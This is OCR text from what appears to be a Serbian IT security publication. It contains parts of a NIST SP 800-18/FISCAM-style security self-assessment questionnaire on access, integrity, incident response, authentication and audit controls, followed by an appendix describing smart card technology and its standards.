OMB Circular A-130, 111

10.1. Critical Element:
Is access limited to system software and
hardware?

10.1.1 Are restrictions in place on who
performs maintenance and repair activities?
OMB Circular A-130, Il
FISCAM SS-3.1
NIST SP 800-18

10.1.2 Is access to all program libraries
restricted and controlled?
FISCAM CC-3.2 & 3.3

10.1.3 Are there on-site and off-site
maintenance procedures (e.g., escort of
maintenance personnel, sanitization of devices
removed from the site)?

NIST SP 800-18

10.1.4 Is the operating system configured to
prevent circumvention of the security software
and application controls?

FISCAM SS-1.2
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

10.1.5 Are up-to-date procedures in place for
using and monitoring use of system utilities?
FISCAM SS-2.1

10.2. Critical Element:

Avre all new and revised hardware and
software authorized, tested and approved
before implementation?

10.2.1 Is an impact analysis conducted to
determine the effect of proposed changes on
existing security controls, including the
required training needed to implement the
control?

NIST SP 800-18

10.2.2 Are system components tested,
documented, and approved (operating system,
utility, applications) prior to promotion to
production?
FISCAM SS-3.1, 3.2, & CC-2.1
NIST SP 800-18

10.2.3 Are software change request forms
used to document requests and related
approvals?
FISCAM CC-1.2
NIST SP 800-18

10.2..4 Are there detailed system
specifications prepared and reviewed by
management?

FISCAM CC-2.1

10.2.5 Is the type of test data to be used
specified, i.e., live or made up?
NIST SP 800-18

10.2.6 Are default settings of security features
set to the most restrictive mode?
PSN Security Assessment Guidelines
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

10.2.7 Are there software distribution
implementation orders including effective date
provided to all locations?

FISCAM CC-2.3

10.2.8 Is there version control?
NIST SP 800-18

10.2.9 Are programs labeled and inventoried?
FISCAM CC-3.1

10.2.10 Are the distribution and
implementation of new or revised software
documented and reviewed?

FISCAM SS-3.2

10.2.11 Are emergency change procedures

documented and approved by management,

either prior to the change or after the fact?
FISCAM CC-2.2

10.2.12 Are contingency plans and other
associated documentation updated to reflect
system changes?
FISCAM SC-2.1
NIST SP 800-18

10.2.13 Is the use of copyrighted software or
shareware and personally owned
software/equipment documented?

NIST SP 800-18

10.3. Are systems managed to reduce
vulnerabilities?

10.3.1 Are systems periodically reviewed to
identify and, when possible, eliminate
unnecessary services (e.g., FTP, HTTP,
mainframe supervisor calls)?

NIST SP 800-18
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Specific Control Objectives and Techniques

L.1 L.2 L.3 L.4 L.5 Risk Based Comments Initials
Policy Procedures Implemented Tested Integrated D:/‘;'S(';O”
ade

10.3.2 Are systems periodically reviewed for
known vulnerabilities and software patches

promptly installed?
NIST SP 800-18

NOTES:
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2.f) Integritet podataka

Kontrole integriteta podataka se koriste za zaStitu od nenamernih ili mailicioznih izmena ili unistenja. Takode, obezbeduju okolnosti koje
omogucavaju da informacije zadovolje Zeljeni stepen integriteta. Sledeci upitnik je baziran na dva kritina elementa. Nivo bezbednosti svakog
od posmatrana dva kriti¢na elementa se odreduje na osnovu odgovora datih u upitniku.

L.1 L.2 L.3 L.4 L.5 Risk Based Comments Initials
Policy Procedures Implemented Tested Integrated D:/‘;'S(';O”
ade

Specific Control Objectives and Techniques

Data Integrity
OMB Circular A-130, 8B3

11.1. Critical Element:
Is virus detection and elimination software
installed and activated?

11.1.1 Are virus signature files routinely
updated?
NIST SP 800-18

11.1.2 Are virus scans automatic?
NIST SP 800-18

11.2. Critical Element:

Are data integrity and validation controls
used to provide assurance that the
information has not been altered and the
system functions as intended?

11.2.1 Are reconciliation routines used by
applications, i.e., checksums, hash totals,
record counts?

NIST SP 800-18

11.2.2 Is inappropriate or unusual activity
reported, investigated, and appropriate actions
taken? FISCAM §S-2.2

11.2.3 Are procedures in place to determine
compliance with password policies?
NIST SP 800-18

174



Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

11.2.4 Are integrity verification programs
used by applications to look for evidence of
data tampering, errors, and omissions?

NIST SP 800-18

11.2.5 Are intrusion detection tools installed
on the system?
NIST SP 800-18

11.2.6 Are the intrusion detection reports
routinely reviewed and suspected incidents
handled accordingly?

NIST SP 800-18

11.2.7 Is system performance monitoring used
to analyze system performance logs in real
time to look for availability problems,
including active attacks?

NIST SP 800-18

11.2.8 Is penetration testing performed on the
system?
NIST SP 800-18

11.2.9 Is message authentication used?
NIST SP 800-18

NOTES:
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2.9) Dokumentacija

Dokumentacija sadrzi opis : hardvera, softvera, politike bezbednosti, standarda, procedura kao i preporuka koje se odnose na sistem pri ¢emu se
formalizuje sistem bezbednosnih kontrola. Slede¢i upitnik je baziran na dva kriticna elementa. Nivo bezbednosti svakog od posmatrana dva
kriti¢na elementa se odreduje na osnovu odgovora datih u upitniku.

L.1 L.2 L.3 L.4 L.5 Risk Based Comments Initials
Policy Procedures Implemented Tested Integrated D:/‘;'S(';O”
ade

Specific Control Objectives and Techniques

Documentation
OMB Circular A-130, 8B3

12.1. Critical Element:

Is there sufficient documentation that
explains how software/hardware is to be
used?

12.1.1 Is there vendor-supplied
documentation of purchased software?
NIST SP 800-18

12.1.2 Is there vendor-supplied
documentation of purchased hardware?
NIST SP 800-18

12.1.3 Is there application documentation for
in-house applications?
NIST SP 800-18

12.1.4 Are there network diagrams and
documentation on setups of routers and
switches? NIST SP 800-18

12.1.5 Are there software and hardware
testing procedures and results?
NIST SP 800-18
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

12.1.6 Are there standard operating
procedures for all the topic areas covered in
this document? NIST SP 800-18

12.1.7 Are there user manuals?
NIST SP 800-18

12.1.8 Are there emergency procedures?
NIST SP 800-18

12.1.9 Are there backup procedures?
NIST SP 800-18

12.2. Critical Element:
Avre there formal security and operational
procedures documented?

12.2.1 Is there a system security plan?
OMB Circular A-130, 11l
FISCAM SP-2.1
NIST SP 800-18

12.2.2 Is there a contingency plan?
NIST SP 800-18

12.2.3 Are there written agreements regarding
how data is shared between interconnected
systems?
OMB A-130, 111
NIST SP 800-18

12.2.4 Are there risk assessment reports?
NIST SP 800-18

12.2.5 Are there certification and
accreditation documents and a statement
authorizing the system to process?

NIST SP 800-18

NOTES:

177




2.h) Obuka i edukacija

Ljudi ¢ine kljuéni faktor za bezbednosti IT sistema i vaznih informatickih resursa. Obuka i edukacija na polju bezbednosti sistema povecavaju
bezbednost omogucavajujuci bolje uocavanje potreba za resursima koji Stite sistem. Pored toga, obukom se razvijaju sposobnost i znanje, tako
da korisnici racunara mogu obavljati svoje poslove znatno sigurnije. Slede¢i upitnik je baziran na dva kriti¢na elementa. Nivo bezbednosti
svakog od posmatrana dva kriti¢na elementa se odreduje na osnovu odgovora datih u upitniku.

L.1 L.2 L.3 L4 L5 Risk Based Comments Initials
Policy Procedures Implemented | Tested Integrated D:/‘;'S(';O”
ade

Specific Control Objectives and Technigues

Security Awareness, Training, and
Education
OMB Circular A-130, 11l

13.1. Critical Element:
Have employees received adequate training
to fulfill their security responsibilities?

13.1.1 Have employees received a copy of the
Rules of Behavior?
NIST SP 800-18

13.1.2 Are employee training and professional
development documented and monitored?
FISCAM SP-4.2

13.1.3 Is there mandatory annual refresher
training?
OMB Circular A-130, 111

13.1.4 Are methods employed to make
employees aware of security, i.e., posters,
booklets? NIST SP 800-18

13.1.5 Have employees received a copy of or
have easy access to agency security
procedures and policies?

NIST SP 800-18

NOTES:
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2.1) Efikasnost reagovanja na incident

Incidenti na racunarskom sistemu su nepovoljni dogadaji po sistem ili mrezno okruzenje. Ovakvi incidenti nisu neuobicajeni a njihove posledice
mogu biti dalekosezne. Slede¢i upitnik je baziran na dva kriticna elementa. Nivo bezbednosti svakog od posmatrana dva kriti¢na elementa se
odreduje na osnovu odgovora datih u upitniku.

L.1 L.2 L.3 L.4 L.5 Risk Based Comments Initials
Policy Procedures Implemented Tested Integrated D:/‘;'S(';O”
ade

Specific Control Objectives and Techniques

Incident Response Capability
OMB Circular A-130, 11l
FISCAM SP-3.4
NIST 800-18

14.1. Critical Element:

Is there a capability to provide help to users
when a security incident occurs in the
system?

14.1.1 Is a formal incident response capability
available?
FISCAM SP-3.4
NIST SP 800-18

14.1.2 Is there a process for reporting
incidents?
FISCAM SP-3.4
NIST SP 800-18

14.1.3 Are incidents monitored and tracked
until resolved?
NIST SP 800-18

14.1.4 Are personnel trained to recognize and
handle incidents?
FISCAM SP-3.4
NIST SP 800-18

14.1.5 Are alerts/advisories received and
responded to?

NIST SP 800-18
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

14.1.6 Is there a process to modify incident
handling procedures and control techniques
after an incident occurs?

NIST SP 800-18

14.2. Critical Element:
Is incident related information shared with
appropriate organizations?

14.2.1 Is incident information and common
vulnerabilities or threats shared with owners of
interconnected systems?
OMB A-130, Il
NIST SP 800-18

14.2.2 Is incident information shared with
FedCIRC concerning incidents and common
vulnerabilities and threats?
OMB A-130, IlI
GISRA

14.2.3 Is incident information reported to
FedCIRC, NIPC, and local law enforcement
when necessary?
OMB A-130, 111
GISRA

NOTES:
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3) Tehnicke kontrole

Tehnicke kontrole se usredsreduju na kontrole koje izvrsava sam IT sistem. Posmatrane kontrole automatski Stite sistem od neautorizovanog
pristupa ili neispravnog koriS¢enja sistema, olakSati otkrivanje naruSavanja bezbednosti i podrzavati bezbednosne zahteve za aplikacije i

podatke.

3.a) ldentifikacija i autentifikacija

Identifikacija i autentifikacija su tehnicke mere koje spreavaju neautorizovane osobe (ili neautorizovane procese) da pristupe IT sistemu.
Kontrola pristupa obi¢no zahteva da sistem sam prepozna razliku izmedu korisnika. Slede¢i upitnik je baziran na dva kriti¢na elementa. Nivo

bezbednosti svakog od posmatrana dva kriti¢na elementa se odreduje na osnovu odgovora datih u upitniku.

Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

Identification and Authentication
OMB Circular A-130, 11l
FISCAM AC-2
NIST SP 800-18

15.1. Critical Element:
Are users individually authenticated via
passwords, tokens, or other devices?

15.1.1 Is a current list maintained and
approved of authorized users and their access?
FISCAM AC-2
NIST SP 800-18

15.1.2 Are digital signatures used and
conform to FIPS 186-2?
NIST SP 800-18

15.1.3 Are access scripts with embedded
passwords prohibited?
NIST SP 800-18
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

15.1.4 Is emergency and temporary access
authorized?
FISCAM AC-2.2

15.1.5 Are personnel files matched with user
accounts to ensure that terminated or
transferred individuals do not retain system
access?

FISCAM AC-3.2

15.1.6 Are passwords changed at least every
ninety days or earlier if needed?
FISCAM AC-3.2
NIST SP 800-18

15.1.7 Are passwords unique and difficult to
guess (e.g., do passwords require alpha
numeric, upper/lower case, and special
characters)?
FISCAM AC-3.2
NIST SP 800-18

15.1.8 Are inactive user identifications

disabled after a specified period of time?
FISCAM AC-3.2
NIST SP 800-18

15.1.9 Are passwords not displayed when
entered?
FISCAM AC-3.2
NIST SP 800-18

15.1.10 Are there procedures in place for

handling lost and compromised passwords?
FISCAM AC-3.2
NIST SP 800-18

15.1.11 Are passwords distributed securely

and users informed not to reveal their

passwords to anyone (social engineering)?
NIST SP 800-18
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

15.1.12 Are passwords transmitted and stored
using secure protocols/algorithms?
FISCAM AC-3.2
NIST SP 800-18

15.1.13 Are vendor-supplied passwords
replaced immediately?
FISCAM AC-3.2
NIST SP 800-18

15.1.14 Is there a limit to the number of
invalid access attempts that may occur for a
given user?
FISCAM AC-3.2
NIST SP 800-18

15.2. Critical Element:
Are access controls enforcing segregation of
duties?

15.2.1 Does the system correlate actions to
users?
OMB A-130, 111
FISCAM SD-2.1

15.2.2 Do data owners periodically review
access authorizations to determine whether
they remain appropriate?

FISCAM AC-2.1

NOTES:
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3.b) Logicka kontrola pristupa

Logicka kontrola pristupa je sistemski baziran mehanizam koji identifikuje ko ili Sta ima pristup odredenim sistemskim resursima, kao i tipove
dozvoljenih transakcija i funkcija. Slede¢i upitnik je baziran na tri Kriti¢na elementa. Nivo bezbednosti svakog od posmatrana tri kriticna
elementa se odreduje na osnovu odgovora datih u upitniku.

L.1 L.2 L.3 L.4 L.5 Risk Based Comments Initials
Policy Procedures Implemented Tested Integrated D:/‘;'S(';O”
ade

Specific Control Objectives and Techniques

Logical Access Controls
OMB Circular A-130, III
FISCAM AC-3.2
NIST SP 800-18

16.1. Critical Element:
Do the logical access controls restrict users
to authorized transactions and functions?

16.1.1 Can the security controls detect
unauthorized access attempts?
FISCAM AC-3.2
NIST SP 800-18

16.1.2 Is there access control software that
prevents an individual from having all
necessary authority or information access to
allow fraudulent activity without collusion?
FISCAM AC-3.2
NIST SP 800-18

16.1.3 Is access to security software restricted
to security administrators?
FISCAM AC-3.2

16.1.4 Do workstations disconnect or screen
savers lock system after a specific period of
inactivity?
FISCAM AC-3.2
NIST SP 800-18
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

16.1.5 Are inactive users’ accounts monitored
and removed when not needed?
FISCAM AC-3.2
NIST SP 800-18

16.1.6 Are internal security labels (naming
conventions) used to control access to specific
information types or files?
FISCAM AC-3.2
NIST SP 800-18

16.1.7 If encryption is used, does it meet
federal standards?
NIST SP 800-18

16.1.8 If encryption is used, are there
procedures for key generation, distribution,
storage, use, destruction, and archiving?

NIST SP 800-18

16.1.9 Is access restricted to files at the
logical view or field?
FISCAM AC-3.2

16.1.10 Is access monitored to identify
apparent security violations and are such
events investigated?

FISCAM AC-4

16.2. Critical Element:
Avre there logical controls over network
access?

16.2.1 Has communication software been
implemented to restrict access through specific
terminals?

FISCAM AC-3.2

16.2.2 Are insecure protocols (e.g., UDP, ftp)
disabled?
PSN Security Assessment Guidelines
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

16.2.3 Have all vendor-supplied default
security parameters been reinitialized to more
secure settings?

PSN Security Assessment Guidelines

16.2.4 Are there controls that restrict remote
access to the system?
NIST SP 800-18

16.2.5 Are network activity logs maintained
and reviewed?
FISCAM AC-3.2

16.2.6 Does the network connection
automatically disconnect at the end of a
session?

FISCAM AC-3.2

16.2.7 Are trust relationships among hosts
and external entities appropriately restricted?
PSN Security Assessment Guidelines

16.2.8 Is dial-in access monitored?
FISCAM AC-3.2

16.2.9 Is access to telecommunications
hardware or facilities restricted and
monitored?

FISCAM AC-3.2

16.2.10 Are firewalls or secure gateways
installed?
NIST SP 800-18

16.2.11 If firewalls are installed do they
comply with firewall policy and rules?
FISCAM AC-3.2

16.2.12 Are guest and anonymous accounts
authorized and monitored?
PSN Security Assessment Guidelines
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

16.2.13 Is an approved standardized log-on
banner displayed on the system warning
unauthorized users that they have accessed a
U.S. Government system and can be
punished?
FISCAM AC-3.2
NIST SP 800-18

16.2.14 Are sensitive data transmissions
encrypted?
FISCAM AC-3.2

16.2.15 Is access to tables defining network
options, resources, and operator profiles
restricted?

FISCAM AC-3.2

16.3. Critical Element:

If the public accesses the system, are there
controls implemented to protect the
integrity of the application and the
confidence of the public?

16.3.1 Is a privacy policy posted on the web
site?
OMB-99-18

NOTES:
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3.c) Kontrola i pracenje

Kontrola i prac¢enje beleze aktivnosti sistema koris¢enjem sistemskih ili aplikativnih procesa kao i koriS¢enjem aktivnosti samih korisnika.
Pomoc¢u odgovarajuc¢ih alata i procedura, obezbeduje se pracenje aktivnosti svakog pojedinog korisnika, i to na takav nacin da se mogu
rekonstruisati sve aktivnosti i eventualni napadi na sistem ¢ime se olaksava detekcija problema. Slede¢i upitnik je baziran na jednom kriti¢nom
elementu. Nivo bezbednosti posmatranog kriticnog elementa se odreduje na osnovu odgovora datih u upitniku.

L.1 L.2 L.3 L4 L5 Risk Based Comments Initials
Policy Procedures Implemented | Tested Integrated D:/‘;'S(';O”
ade

Specific Control Objectives and Technigues

Audit Trails
OMB Circular A-130, 11l
FISCAM AC-4.1
NIST SP 800-18

17.1. Critical Element:

Is activity involving access to and
modification of sensitive or critical files
logged, monitored, and possible security
violations investigated?

17.1.1 Does the audit trail provide a trace of
user actions?
NIST SP 800-18

17.1.2 Can the audit trail support after-the-
fact investigations of how, when, and why
normal operations ceased?

NIST SP 800-18

17.1.3 Is access to online audit logs strictly
controlled?
NIST SP 800-18

17.1.4 Are off-line storage of audit logs
retained for a period of time, and if so, is
access to audit logs strictly controlled?

NIST SP 800-18
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

17.1.5 Is there separation of duties between
security personnel who administer the access
control function and those who administer the
audit trail?

NIST SP 800-18

17.1.6 Are audit trails reviewed frequently?
NIST SP 800-18

17.1.7 Are automated tools used to review
audit records in real time or near real time?
NIST SP 800-18

17.1.8 Is suspicious activity investigated and
appropriate action taken?
FISCAM AC-4.3

17.1.9 Is keystroke monitoring used? If so,
are users notified?
NIST SP 800-18

NOTES:
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APPENDIX C

OSNOVNI ELEMENTI SMART KARTICA

Uvodne napomene

Dokumentima vlade USA, Clinger-Cohen Act (CCA) iz 1996. i Defense
Reform Initiative of 1999. definisana je potreba za daljim razvojem
kompjuterskih tehnologija iz kojih je proiziSla tehnologija smart Kartica, tj.
kartica koje su na sebi umesto dotadaSnje pasivne memorije sadrzavale i
mikroprocesor. Uocena je moguénost upotrebe smart kartica u komercijalne
svrhe u cilju povecanja bezebednosti poslovnih i finansijskih transakcija. Smart
kartice su u pocetnoj fazi razvoja bile namenjene prvenstveno povecéanju
bezbednosti komunikcija u drzavnim ustanovama u USA, i to kako u civilne,
tako i u vojne i obaveStajne svrhe. Nacin za postizanje opisanih ciljeva bilo je
uvodenje drzavne PKI infrastrukture, ¢ime je postignuta sigurnost identiteta
ucesnika u komunikaciji.

Jedna od prepoznatih funkcija smart card tehnologije, bila je i uvodenje
elektrornskih identifikacionih dokumenata, kao $to su : li¢ne karte, zdravstvene
legistimacije, vozacke i saobracajne dozvole, pasosi itd. Imajuéi u vidu sve
predvidene oblasti namene smart kartica, bilo je neophodno obezbediti njihovu
interoperabilnost, tj. mogucnost da jedna kartica ima viSe namena.

Smart kartice su razvijane na bazi otvorenih sistema - Open Card Framework
(OCF), kao i otvorenom pristupu bazama podataka Open Database
Connectivity (ODBC) ili Java Database Connectivity (JDBC). Izborom
opisanih okvira za razvoj smart Kkartica postignuta je znacajna fleksibilnost
nove tehnologije.

Pregled osnovnih karakteristika smart kartica

Smart kartice se izraduju u veli¢ini platnih kartica i mogu na sebi sadrzati viSe
oznaka, koje su automatski ili vizuelno ¢itljive, kao Sto su : magnetna traka, bar
kod, beskontaktni radio odaSilja¢, biometrijske informacije ili identifikaciona
fotografija. Ugradeni ¢ip ima sve odlike mikrokontrolera ili kompjutera.
Podacima koji su memorisani na ¢ipu se moze pristupiti preko vise razli¢itih
aplikacija. Mikrokontroler sadrzi chip operating system (COS), komunikacioni
softver, a moze sadrzati i kripto algoritme koji cine softver i podatke
necitljivima za neovlasc¢ene korisnike. Smart kartice su tehnoloski izvedene do
komercijalnog nivoa i zasnivaju se na pouzdanim tehnoloSkim standardima.
Investiranje u PKI sistem i smart kartice predstavlja relativno mala ulaganja u

190



odnosu na dobit koju sistem donosi. Poseban segment primene pomenutog
sistema se odnosi na Internet tehnologije koje su unele revoluciju u Zivote kako
obi¢nih gradana, tako i ljudi koji se bave poslovnim transakcijama, a posebno u
domenu drzavne uprave. Tehnologija smart Kkartica objedunjuje viSestruke
resurse koji se mogu koristiti za vise razli¢itih namena i koja podrzava vise
razli¢itih alata kao Sto su :

- Alati za kontrolu pristupa (racunarskim resursima, zgradama,
prostorijama,...),

- Alati za vrSenje plac¢anja (platne kartice),

- Alati za Cuvanje i upravljanje podacima (podaci na samim karticama),

- Integrisani alati za zastitu (u okviru PKI strukture).

Tipovi ¢ip kartica

Cesto se termini ,»Cip kartica®, | kartica sa integrisanim kolom* 1 ,,smart kartica*
koriste kao sinonimi, iako mogu imati razli¢ita znaéenja. Kartice se mogu
podeliti prema vrsti ¢ipa koji imaju na sebi, kao i na osnovu interfejsa za
komunikaciju sa okruzenjem.

Prema vrsti Cipa kartice se mogu podeliti u tri osnovne vrste :

- Memorijske kartice sa integrisanim kolom - veoma su jednostavne i
neznatno su bezbednije od kartica sa magnetnom pistom. Njihova
prednost nad karticama sa magnetnom pistom lezi u ¢injenici da imaju
neSto veéi memorijski kapacitet. Kartice ne sadrze u sebi logicke
operacije, ve¢ jednostavno ¢uvaju podatke.

- Logicke kartice sa integrisanim kolom - sadrze mehanizme za Sifrovanje
u autentifikaciju prilikom pristupa podacima koji se Cuvaju u memoriji.
Kartice sadrze staticki fajl sistem koji podrzava razlicite aplikacije, sa
opcionim Sifrovanjem memorijskog sadrzaja. Posmatrane kartice se
mogu javiti i u beskontaktnoj varijanti.

- Sigurnosne kartice sa mikrokontrolerom - poseduju mikro¢ip, operativni
sistem, kao i memoriju u koju se moze upisivati i iz koje se mogu brisati
podaci viSe puta. Kartice sa mikrokontrolerom su zapravo minijaturni
PC racunari. Mogu se javiti u vidu : kontaktne, beskontaktne ili
kombinovane kartice. Opisane kartice sa nazivaju smart karticama.

Referisuci se na interfejs samih kartica, mogu se podeliti u dve osnovne grupe i
to kontaktne i beskontaktne. Medutim, mogu postojati i kombinovane kartice, i
to kartice koje sadrze po jedan Cip za svaki interfejs ili jedan ¢ip podrzava
kontaktni i beskontaktni interfejs.
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Izgled osnovnih komponenti kontaktnih kartica je dat na sledecoj slici :

@ Electronic modile
[

|
Iﬁ: IC chip

Izgled osnovnih komponenti beskontaktnih kartica se moze sagledati sa sledece

slike :

Osnovne komponenete mikrokontrolera

Mikrokontroler sadrzi sledeée osnovne elemente :

8-bitni do 32-bitni procesor CPU,

ROM memoriju ili flash memoriju u koju se smeSta operativni sistem,
RAM memoriju,

Druge vrste permanentne memorije za c¢uvanje podataka kao Sto je
EEPROM i sli¢no,

Sistem za zastitu od moguée kompromitacije memorijskih elemenata,
Senzore za odéitavanje spoljasnjih veli¢ina : napona, frekvencije i
temperature,

Bar jedan serijski komunikacioni port,

Generator slu¢ajnih brojeva,

Tajmere,

Opciono moze sadrzati kripto mehanizme koji podrzavaju algoritme
DES, 3DES, RSA ili neke druge,

Opciono moze sadrzati i neke druge specijalizovane periferijske
komponente kao Sto je SPI komunikacioni port.
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Mikrokontroler za kontaktne kartice je povezan preko kontaktnih plocica sa
¢itatem odnosno pisacem. Prikaz izgleda kontaktnih plocica je dat na sledecoj
slici :

VEE — I —— GND
reT [ =l _vpp
CLE — - S —-—t— 1O

Reserved for
future use

Uredaji za citanje podataka sa smart kartica i pisanje podataka na smart
kartice

Rec je o uredajima koji obezbeduju vezu izmedu smart kartica i1 aplikacija na
host racunarima. Uredaji napajaju karticu elektricnom energijom i obezbeduju
inicijalizuju kartice. Uredaji za pisanje na smart kartice i Citanje sa smart
kartica mogu biti na jednom izolovanom uredaju ili mogu biti transparentni, u
okviru PKI sistema.

Postoji viSe vrsta Citaca 1 pisaca smart kartica, koji mogu biti konektovani na
raunar putem serijskog porta, USB porta ili na neki drugi nacin. Citadi,
odnosno pisaCi obezbeduju siguran pristup smart karticama, a mogu biti
integrisani 1 u okviru drugih uredaja i1 podrzani od strane viSe razliitih
aplikacija. Pisaci se koriste prilikom personalizacije i inicijalizacije kartica.

Vrsta Citaca odnosno pisaca zavisi i od tipa kartice, tj. da li je kartica kontaktna
ili beskontaktna. Ukoliko je kartica kontaktna, mora do¢i do fizi¢kog kontakta
izmedu kartice i ¢itaa. Ukoliko se radi o beskontaktnoj kartici propisano
rastojanje izmedu kartice i ¢itaca mora biti 10cm, ili manje, kako bi se izvrsilo
uspesno ocitavanje podataka sa kartice. Prilikom realizacije ¢itaca odnosno
pisaca, neophodno je postovati standarde ISO/IEC 14443 kao i ISO/IEC 15693.
Nedostatak beskontaktnih kartica je moguce nedozvoljeno ocitavanje podataka
prilikom prolaska pored neovlas¢enog uredaja za ocitavanje podataka sa
beskontakne kartice.
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Osnovne komponente kontaktnih i beskontaktnih ¢itaca kao i kartica, date su na

sledecoj slici :

Contact type
Smart Card Readerfnriter
 Electric power System toard
EE |, Cleck .
ot bE e B B
|| P . ) o )
| pm—
I Datainfout ||
Contactiess type p——
Smart Card Readerfnriter 5ys
= Electromagnetic System toard
"I'r?::'n - waves = |"|'ﬁ,:'
E LI, E” \ | [Deta__ ;g Il'l_l'-._‘
Lsl ) ranamssion 1
§ |ciock, abninvour| § | l = 3 v
.@.l, i ] l".'fd i .
.I'“.
Crata transmitter

Kod opisanih kartica, kao i kod hibridnih Kkartica, neophodno je posti¢i
interoperabilnost kontaktnih i beskontaktnih komponenti.

Na sledecoj slici je prikazan moguci izgled jedne hibridne kartice :

125 ke Contactl ess
Prow Artentia -c
N N
N <iri),gamz;an::lrc-n Namg;:?
st — . OrLoge . “,/

1 ll o '
| |
| w |
! Digital |
| Plotograph |
! i
i !
Cad || i
Fm [ :
t ! [ Ii J
s . ;
. e s

Visenamenske kartice

Savremene tendencije predstavljaju nastojanja da se jedna Kkartica koristi za
vise namena. Navedeno podrazumeva da se na jednom mikroprocesoru
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izvr§ava viSe razliCitih operacija, u skladu sa predvidenom namenom kartice.
Najcesce oblasti primene smart kartica su :

- bankarstvo,

- zdravstvena zastita,

- identifikaciona dokumenta,

- putna dokumenta,

- pristup informati¢kim resursima putem Interneta,
- mobilne komunikacije,...

Pregled standarda

U zavisnosti od namene kartice, neophodno je poStovati standarde, kako iz
oblasti koja reguliSe proizvodnju samih Kartica, tako i iz specificne oblasti za
koju je kartica namenjena. Prilikom projektovanja i implementacije Cip kartica,
neophodno je poStovati ¢itav niz preporuka i standarda.

Interoperabilnost je definisana standardima GSC-IS.

Grupa ISO/IEC standarda definiSe Siroku oblast pri izradi smart Kartica,
ukljucujuéi 1 tehnologiju izrade same plasticne kartice. Pomenuta grupa
standarda definiSe minimalne zahteve, medutim, ostavlja pojedine stavke
otvorene kako bi se mogle prilagoditi specificnim zahtevima. Neophodno je
naglasiti da ISO/IEC standardi ne obezbeduju nuzno faktor interoperabilnosti.
U pomenutu grupu standarda spadaju : ISO/IEC 7816, ISO/IEC 14443,
ISO/IEC 10536, ISO/IEC 15693 i ISO/IEC 7501.

ANSI standardi vrse prilagodavanja ustanovljenih standarda standardima USA
ili se moze posmatrati i obrnuto, najpre se ustanove ANSI standardi, a zatim se
ostali standardi prilagodavaju ANSI standardima.

Biometrijski standardi definiSu nacine pripreme, obrade 1 razmene
biometrijskih podataka. Opisane radnje su definisane standardima ANSI
INCITS 358-2002 i NISTIR 6529.

FIPS standardi definiSu, izmedu ostalog : digitalni potpis, standarde za
Sifrovanje kao i zahteve koje moraju da ispune kriptografski moduli.

G-8 zdravstveni standardi predstavljaju grupu standarda iz oblasti zdravstvene
zaStite koju je donela grupa najrazvijenijh zemalja. Pomenuti standardi bi se
morali postovati imaju¢i u vidu primenu smart kartica kao zdravstvenih
legitimacija.

GSM standardi se moraju poStovati prilikom primene Cip kartica u oblasti
mobilnih komunikacija.

195



EMV standardi predstavljaju grupu preporuka koje je neophodno slediti kako bi
se uspostavio jedinstveni platni sistem globalnih razmera.

Posebnu primenu smart kartica predstavlja primena u okviru projekta
elektronske vlade (e-Government). U pomenutom segmentu dolazi do
preklapanja svih pomenutih standarda, kao i nekih specifi¢nih standarda koje
definiSe svaka drzava pojedinacno.

Implementacija smart kartica

Implementacija smart kartica podrazumeva nekoliko aspekata :

Upravljacko-organizacione,

Obuhvataju administrativnu i operativnu strukturu koje definiSu
procedure, kao Sto su : obuka korisnika, administriranje karticama,...
Tehnicke,

DefiniSu hardverske i softverske uslove bazirane na razmatranim
standardima,

Zakonsko-pravne,

Daju pravni okvir za funkcionisanje smart kartica u okviru definisanog
PKI sistema,

Ekonomske,

Daju ekonomske aspekte koriS¢enja kartica, u smislu njihove
ekonomske opravdanosti,

Standarde i interoperabilnost,

Vode rauna o potrebama standardizacije 1 1 moguénoscéu koriS¢enja
jedne Kartice kod drugih CA,

Privatnost,

DefiniSu zaStitu privatnosti, u smislu nedostupnosti podataka sa kartice
licima koja za to nisu ovlas¢ena.

Osnovne komponenete sistema smart kartica

Elementi koji sacinjavaju sistem za funkcionisanje PKI sistema baziranog na
upotrebi smart kartica su slede¢i :

Kartice,

Kartice sa mikrokontrolerom, Kkoje proizvode specijalizovane
kompanije. Najces¢i je slucaj da sam Cip proizvodi jedan proizvodac,
dok plasténu karticu proizvodi drugi proizvodac,

Centralni sistem za upravljanje,

Organizuje i kontroliSe celokupni PKI sistem, posebno vodi racuna o
generisanju, distribuciji u upravljanju kljuevima 1 digitalnim
sertifikatima,

Oprema i softver za smart kartice,

Oprema sa sastoji iz vise komponenti i to :
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- Radna stanica za uvodenje kartica u upotrebu, $to podrazumeva

upisivanje osnovnih informacija u memoriju kartice,

- Radna stanica za generisanje klju¢eva. lako se par kljuceva generiSe
kriptoprocesorom na samoj kartici, moze se izabrati i izolovna radna

stanica
za istu namenu,

